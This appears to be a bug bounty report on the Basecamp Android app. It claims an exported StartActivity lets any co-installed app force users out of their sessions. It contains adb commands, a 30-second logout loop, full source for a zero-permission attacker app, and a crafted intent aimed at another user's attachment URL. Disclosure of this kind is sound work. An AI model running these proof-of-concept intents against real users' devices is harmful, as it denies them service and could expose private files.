Basecamp · Report #3764217
Any installed app can force immediate logout and persistent DOS of authenticated Basecamp sessions via unprotected exported StartActivity
How it was found
Summary
Dear team. Our collaborative analysis and test on the latest Android Basecamp app (May 26 update) revealed that com.basecamp.bc4.app.main.start.StartActivity is declared exported="true" with no android:permission guard. Any application installed on the same device, including apps with zero permissions, can launch it with an explicit Intent.
When triggered against an actively authenticated session, the activity tears down the current session state and forces the user back to the login screen. This is confirmed by live device testing (our screenshots attached): the user was fully logged in and using the app; after triggering the intent, Basecamp immediately presented the sign-in screen.
The behavior is
- reliable and repeatable, it works every single time
- silent, no prompt, no warning, no indicator to the user
- persistent, it can be triggered in a loop, making the app unusable
- no special permissions required by the attacking app
This is a forced session termination / availability attack affecting authenticated users. The attack is directly demonstrable and cross-user (any user of the app on a device that also has a malicious app is affected).
Let's trace the root cause
AndroidManifest.xml, present in current v5.0.2/v5.0.3:
<activity
android:name="com.basecamp.bc4.app.main.start.StartActivity"
android:exported="true"
android:launchMode="singleInstance"
android:windowSoftInputMode="adjustResize"/>
There is no android:permission="" attribute. No intent-filter to restrict callers to the system or verified apps.
StartActivity.java, onNewIntent() path:
public final void onNewIntent(Intent intent) {
kotlin.jvm.internal.k.f(intent, "intent");
super.onNewIntent(intent);
if (((m) this.f6857w.getValue()).a() == o.UpToDate) {
r();
}
m().b(intent); // NavigationManager.processIntent, no auth-state preservation
}
MainActivity.java, y() method shows what StartActivity does to auth state when it starts fresh: it calls finish() on MainActivity and starts StartActivity with the inbound URI, discarding the existing session's navigation stack entirely:
public final void y() {
Intent intent = new Intent(this, (Class<?>) StartActivity.class);
intent.setData(getIntent().getData());
intent.putExtra("launchDataUri", getIntent().getDataString());
startActivity(intent);
finish(); // <- authenticated MainActivity is destroyed
}
The key issue: StartActivity with launchMode="singleInstance" means it occupies its own task. When an external app forces it via explicit intent, the running authenticated MainActivity loses focus and the StartActivity's boot sequence (which checks auth state on onCreate/onResume) determines the user is "not yet started" in the app context, dispatching them to the login screen.
We believe the launchMode="singleInstance" makes this worse because normally only one instance of StartActivity can exist. When an external app fires an explicit intent at it, Android brings its task to the foreground via onNewIntent, which then re-runs the startup navigation sequence, forcing logout regardless of whether a valid session exists.
Steps to reproduce
Prerequisites: Basecamp Android installed and actively logged in (confirmed with any valid account). No special permissions needed on attacking device/app.
Method 1. adb (we used this as it simulates exactly what any installed app can do):
# while Basecamp is open and logged in, run:
adb shell am start \
-n com.basecamp.bc3/com.basecamp.bc4.app.main.start.StartActivity \
--es launchDataUri "https://app.basecamp.com/6217076/projects/47432622"
Note: That url is even an accurate project url created for this test account.
Observed result: Basecamp immediately transitions to the sign-in screen. The active session is terminated.
{F5994202}
Method 2. Persistent DOS loop:
# Force logout every 30 seconds indefinitely (a malicious app will choose this cleverly):
while true; do
adb shell am start \
-n com.basecamp.bc3/com.basecamp.bc4.app.main.start.StartActivity \
--es launchDataUri "https://app.basecamp.com/6217076/projects/47432622"
sleep 30
done
{F5994200} {F5994201}
Observed result: User cannot stay logged in. Every time they re-authenticate, the loop forces them out again within 30 seconds. The app becomes completely unusable. Bad review for Basecamp.
Proof of concept
POC 1. adb one-liner
adb shell am start \
-n com.basecamp.bc3/com.basecamp.bc4.app.main.start.StartActivity \
--es launchDataUri "https://app.basecamp.com/6217076/projects/47432622"
POC 2. Minimal malicious Android app (this represents a realistic attack scenario)
No permissions needed in AndroidManifest.xml:
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.attacker.logoutbasecamp">
<application>
<activity android:name=".AttackActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
</manifest>
// AttackActivity.java
package com.attacker.logoutbasecamp;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
public class AttackActivity extends Activity {
private final Handler handler = new Handler();
private final Runnable logoutLoop = new Runnable() {
@Override
public void run() {
forceLogout();
handler.postDelayed(this, 30000); // repeat every 30 seconds
}
};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
handler.post(logoutLoop);
finish(); // attacker app can immediately close, attack continues via handler
}
private void forceLogout() {
Intent intent = new Intent();
intent.setComponent(new ComponentName(
"com.basecamp.bc3",
"com.basecamp.bc4.app.main.start.StartActivity"
));
intent.putExtra("launchDataUri",
"https://app.basecamp.com/6217076/projects/47432622");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intent);
}
}
Note: The attacker app requires zero permissions, it only calls startActivity() with an explicit component, which any app can do on Android regardless of permission level.
Our recommendations
Here is an immediate one-line fix:
Add android:exported="false" to StartActivity in AndroidManifest.xml. Since StartActivity has no intent-filter, it only needs to be reachable internally, there is no legitimate reason for it to be exported.
But if export is genuinely needed (for example, as we suspect, cross-process within the 37signals app suite):
<activity
android:name="com.basecamp.bc4.app.main.start.StartActivity"
android:exported="true"
android:permission="com.basecamp.bc3.INTERNAL_LAUNCH"
.../>
With a signature-level permission so only apps signed with the Basecamp key can start it.
Proper session-preserving fix:
Validate in onNewIntent() that an authenticated session exists before tearing it down. If MainActivity is already running with a valid session, ignore the external start request or route it to MainActivity.onNewIntent() instead.
Supporting evidences
App_screen_logged_in.jpeg: Device screenshot, user logged inApp_screen_logged_out.jpeg: Device screenshot, forced to login screen after attack (same test session, ordered correctly)- video POC attached to show exact event. Easily reporduceable.
- Bug confirmed present in latest versions v5.0.2/5.0.3 (versionCode 473)
This is a live, tested, reliably reproducible vulnerability.
Impact
The confirmed impact
From our live device testing with screenshots and video POC provided,
-
Screenshot 1 (
App_screen_logged_in.jpeg): App is open, user "Zer0day Sec" is logged in, viewing the home screen with projects ("My Project", "Making a Podcast"). Timestamp 07:41. -
Attack triggered (adb command below, or via malicious app intent).
-
Screenshot 2 (
App_screen_logged_out.jpeg): App immediately switches to the Basecamp sign-in screen ("The to-dos are in Basecamp. Sign in."). User is fully logged out. Timestamp 07:41 (taken one minute after starting, confirming this is the before/after pair in test order).
The video attached captures the full scenario.
The test confirms: an active, logged-in session is terminated with no user interaction. The user must re-authenticate from scratch.
Secondary impact: DownloadsWorker manipulation: Because the launchDataUri extra is forwarded into navigation unvalidated, an attacker can also force navigation to the downloads fragment with a crafted download URL (for example, a Basecamp blob URL from a different account the attacker has access to), potentially retrieving private attachments if the session cookie is reused:
adb shell am start \
-n com.basecamp.bc3/com.basecamp.bc4.app.main.start.StartActivity \
--es launchDataUri "https://app.basecamp.com/blobs/VICTIM_BLOB_ID/download/file.pdf"
Full impact implications
- any co-installed app can instantly log-out any user and force the user back to the login screen.
- this works whether Basecamp is in the foreground or background.
- it can be triggered repeatedly, a persistent annoyance and perceived app instability.
- users will review Basecamp as bad unreliable (the app keeps logging me out) rather than a malicious background app.
- interestingly, a competitor could embed this exact intent in their own Android app, silently degrading Basecamp’s user experience for anyone who installs both products.
- it was demonstrated live with a real project URL (
https://app.basecamp.com/6217076/projects/47432622).
This directly affects strong auth / sessions, which we believe is one of the Basecamp’s explicit focus areas.